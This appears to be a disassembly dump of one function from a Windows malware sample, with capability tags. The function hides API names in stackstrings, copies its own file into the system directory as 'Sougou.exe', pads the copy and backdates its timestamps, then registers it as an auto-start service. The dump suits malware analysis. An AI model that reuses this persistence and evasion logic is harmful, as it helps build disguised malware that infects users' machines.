Function at 0x433be0
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47b270
push 0x43d79e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x608
push ebx
push esi
push edi
push str.GetFileSize
push str.KERNEL32.dll
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call esi
push eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
mov dword [ebp - 0x5d8], eax
push str.ReadFile
push str.KERNEL32.dll
call esi
push eax
call edi
mov dword [ebp - 0x278], eax
push str.WriteFile
push str.KERNEL32.dll
call esi
push eax
call edi
mov dword [ebp - 0x260], eax
mov byte [ebp - 0x3b0], 0x47
mov bl, 0x65
mov byte [ebp - 0x3af], bl
mov al, 0x74
mov byte [ebp - 0x3ae], al
mov byte [ebp - 0x3ad], 0x4c
mov byte [ebp - 0x3ac], 0x61
mov byte [ebp - 0x3ab], 0x73
mov byte [ebp - 0x3aa], al
mov byte [ebp - 0x3a9], 0x45
mov al, 0x72
mov byte [ebp - 0x3a8], al
mov byte [ebp - 0x3a7], al
mov byte [ebp - 0x3a6], 0x6f
mov byte [ebp - 0x3a5], al
mov byte [ebp - 0x3a4], 0
lea eax, [ebp - 0x3b0]
push eax
push str.KERNEL32.dll
call esi
push eax
call edi
mov dword [ebp - 0x5e0], eax
mov al, 0x41
mov byte [ebp - 0x250], al
mov byte [ebp - 0x24f], 0x44
mov byte [ebp - 0x24e], 0x56
mov byte [ebp - 0x24d], al
mov byte [ebp - 0x24c], 0x50
mov byte [ebp - 0x24b], 0x49
mov byte [ebp - 0x24a], 0x33
mov byte [ebp - 0x249], 0x32
mov byte [ebp - 0x248], 0x2e
mov byte [ebp - 0x247], 0x64
mov byte [ebp - 0x246], 0x6c
mov byte [ebp - 0x245], 0x6c
mov byte [ebp - 0x244], 0
push str.OpenSCManagerA
lea ecx, [ebp - 0x250]
push ecx
call esi
push eax
call edi
mov dword [ebp - 0x5f0], eax
push str.GetSystemDirectoryA
push str.KERNEL32.dll
call esi
push eax
call edi
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x604], 0x52
mov byte [ebp - 0x603], bl
mov byte [ebp - 0x602], 0x67
mov byte [ebp - 0x601], 0x43
mov byte [ebp - 0x600], 0x6c
mov byte [ebp - 0x5ff], 0x6f
mov byte [ebp - 0x5fe], 0x73
mov byte [ebp - 0x5fd], bl
mov byte [ebp - 0x5fc], 0x4b
mov byte [ebp - 0x5fb], bl
mov byte [ebp - 0x5fa], 0x79
mov byte [ebp - 0x5f9], 0
lea edx, [ebp - 0x604]
push edx
lea eax, [ebp - 0x250]
push eax
call esi
push eax
call edi
mov dword [ebp - 0x3a0], eax
push str.CreateFileA
push str.kernel32.dll
call esi
push eax
call edi
mov dword [ebp - 0x5dc], eax
push str.RegSetValueExA
lea ecx, [ebp - 0x250]
push ecx
call esi
push eax
call edi
mov dword [ebp - 0x5d4], eax
push str.CloseServiceHandle
lea edx, [ebp - 0x250]
push edx
call esi
push eax
call edi
mov dword [ebp - 0x4c8], eax
push str.OpenServiceA
lea eax, [ebp - 0x250]
push eax
call esi
push eax
call edi
mov dword [ebp - 0x274], eax
push str.StartServiceA
lea ecx, [ebp - 0x250]
push ecx
call esi
push eax
call edi
mov dword [ebp - 0x258], eax
push str.CreateServiceA
lea edx, [ebp - 0x250]
push edx
call esi
push eax
call edi
mov dword [ebp - 0x24], eax
push str.SystemTimeToFileTime
push str.KERNEL32.dll
call esi
push eax
call edi
mov dword [ebp - 0x240], eax
push str.LocalFileTimeToFileTime
push str.KERNEL32.dll
call esi
push eax
call edi
mov dword [ebp - 0x20], eax
push str.SetFileTime
push str.KERNEL32.dll
call esi
push eax
call edi
mov dword [ebp - 0x5ec], eax
push str.GetModuleFileNameA
push str.KERNEL32.dll
call esi
push eax
call edi
mov dword [ebp - 0x614], eax
mov byte [ebp - 0x288], 0x43
mov byte [ebp - 0x287], 0x6c
mov byte [ebp - 0x286], 0x6f
mov byte [ebp - 0x285], 0x73
mov byte [ebp - 0x284], bl
mov byte [ebp - 0x283], 0x48
mov byte [ebp - 0x282], 0x61
mov byte [ebp - 0x281], 0x6e
mov byte [ebp - 0x280], 0x64
mov byte [ebp - 0x27f], 0x6c
mov byte [ebp - 0x27e], bl
mov byte [ebp - 0x27d], 0
lea eax, [ebp - 0x288]
push eax
push str.KERNEL32.dll
call esi
push eax
call edi
mov dword [ebp - 0x23c], eax
push str.RegOpenKeyA
lea ecx, [ebp - 0x250]
push ecx
call esi
push eax
call edi
mov dword [ebp - 0x610], eax
push str.lstrlenA
push str.KERNEL32.dll
call esi
push eax
call edi
mov dword [ebp - 0x5d0], eax
push 0x104
lea edx, [ebp - 0x39c]
push edx
push 0
call dword [ebp - 0x614]
push 0x104
lea eax, [ebp - 0x230]
push eax
call dword [ebp - 0x25c]
lea edx, [ebp - 0x230]
mov edi, 0x487824
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x230]
mov edi, str.Sougou.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x264], eax
push eax
push 0x80
push 3
push eax
push 1
push 0x80000000
lea eax, [ebp - 0x39c]
push eax
call dword [ebp - 0x5dc]
mov esi, eax
cmp esi, 0xffffffff
je 0x43428b
push 0
push esi
call dword [ebp - 0x5d8]
mov ebx, eax
push ebx
call sub.MSVCRT.dll_malloc
add esp, 4
mov edi, eax
mov dword [ebp - 0x254], edi
mov ecx, ebx
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
push 0
lea eax, [ebp - 0x264]
push eax
push ebx
mov edi, dword [ebp - 0x254]
push edi
push esi
call dword [ebp - 0x278]
push esi
call dword [ebp - 0x23c]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x230]
push ecx
call dword [ebp - 0x5dc]
mov dword [ebp - 0x270], eax
test eax, eax
je 0x43428b
push 0
lea edx, [ebp - 0x12c]
push edx
push ebx
push edi
push eax
call dword [ebp - 0x260]
push 0x100000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov ebx, eax
mov ecx, 0x40000
mov eax, reloc.USER32.dll_9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
mov edi, ebx
rep stosd dword es:[edi], eax
mov edi, 0x1b
push 0
lea eax, [ebp - 0x5e4]
push eax
push ebx
call dword [ebp - 0x5d0]
push eax
push ebx
mov ecx, dword [ebp - 0x270]
push ecx
call dword [ebp - 0x260]
dec edi
jne 0x43407c
xor edx, edx
mov dword [ebp - 0x298], edx
mov dword [ebp - 0x294], edx
mov dword [ebp - 0x290], edx
mov dword [ebp - 0x28c], edx
mov word [ebp - 0x298], 0x7d4
mov word [ebp - 0x296], 8
mov word [ebp - 0x292], 0x11
mov word [ebp - 0x290], 0x14
xor ebx, ebx
mov word [ebp - 0x28e], bx
lea eax, [ebp - 0x238]
push eax
lea ecx, [ebp - 0x298]
push ecx
call dword [ebp - 0x240]
lea edx, [ebp - 0x60c]
push edx
lea eax, [ebp - 0x238]
push eax
call dword [ebp - 0x20]
lea ecx, [ebp - 0x60c]
push ecx
push ebx
lea edx, [ebp - 0x60c]
push edx
push esi
call dword [ebp - 0x5ec]
mov eax, dword [ebp - 0x254]
cmp eax, ebx
je 0x434133
push eax
call fcn.0043d798
add esp, 4
mov eax, dword [ebp - 0x270]
push eax
call dword [ebp - 0x23c]
mov dword [ebp - 0x27c], ebx
mov dword [ebp - 0x4bc], ebx
mov dword [ebp - 0x3b4], ebx
mov dword [ebp - 4], ebx
push 0xf003f
push ebx
push ebx
call dword [ebp - 0x5f0]
mov esi, eax
mov dword [ebp - 0x3b4], esi
cmp esi, ebx
je 0x43427f
push ebx
push ebx
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x230]
push ecx
push ebx
push 2
push 0x10
push 0xf01ff
mov edx, dword [ebp + 0xc]
push edx
mov edi, dword [ebp + 8]
push edi
push esi
call dword [ebp - 0x24]
mov ebx, eax
mov dword [ebp - 0x4bc], ebx
test ebx, ebx
jne 0x4341d5
call dword [ebp - 0x5e0]
cmp eax, 0x431
jne 0x4341d5
push 0xf01ff
push edi
push esi
call dword [ebp - 0x274]
mov ebx, eax
mov dword [ebp - 0x4bc], ebx
test ebx, ebx
je 0x43427f
push 0
push 0
push ebx
call dword [ebp - 0x258]
push 0
push 0
push ebx
call dword [ebp - 0x258]
test eax, eax
je 0x43427f
lea edx, [ebp - 0x128]
mov edi, str.SYSTEMCurrentControlSetServices_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x128]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x27c]
push eax
lea ecx, [ebp - 0x128]
push ecx
push SysStringLen
call dword [ebp - 0x610]
mov esi, dword [ebp + 0x10]
push esi
call dword [ebp - 0x5d0]
push eax
push esi
push 1
push 0
push str.Description
mov edx, dword [ebp - 0x27c]
push edx
call dword [ebp - 0x5d4]
mov esi, dword [ebp - 0x3b4]
mov dword [ebp - 4], 0xffffffff
call fcn.004342a8
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret